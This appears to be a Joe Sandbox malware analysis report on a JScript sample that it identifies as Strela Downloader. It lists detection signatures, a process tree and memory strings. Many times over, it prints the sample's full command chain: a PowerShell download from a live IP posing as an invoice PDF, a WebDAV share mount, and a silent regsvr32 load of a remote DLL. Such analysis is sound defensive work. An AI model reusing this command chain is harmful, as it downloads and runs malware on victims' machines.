Edit tour

Windows Analysis Report
326391126385512788.js

Overview

General Information

Sample name:	326391126385512788.js
Analysis ID:	1588521
MD5:	7e8fc0b49b5d4575ded26c0ae7082491
SHA1:	ddba4d6683e69ee8516fd32bd77fe3c0a4401caa
SHA256:	c527049716c424715cee22761c7e1d8a0992de0ad79ca95a70b20195368fb5bf
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6312 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2500 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3020 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,2750475572137586362,7990639224416552901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6364 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2588 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6312	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3020, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3020, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ProcessId: 6312, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ProcessId: 6312, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2500, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3020, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2588, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll, ProcessId: 2500, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 326391126385512788.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 326391126385512788.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1737426973.0000022FF5469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1805732280.000001DD380FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805654136.000001DD380DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1803509595.000001DD380FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1804179611.000001DD380DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1805598903.000001DD380A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1805598903.000001DD380A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000008.00000002.3019184098.000001A74D200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D0C8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D0C8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D0C8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D0FD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D172000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D172000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1804400908.000001A74D172000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6312, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 326391126385512788.js

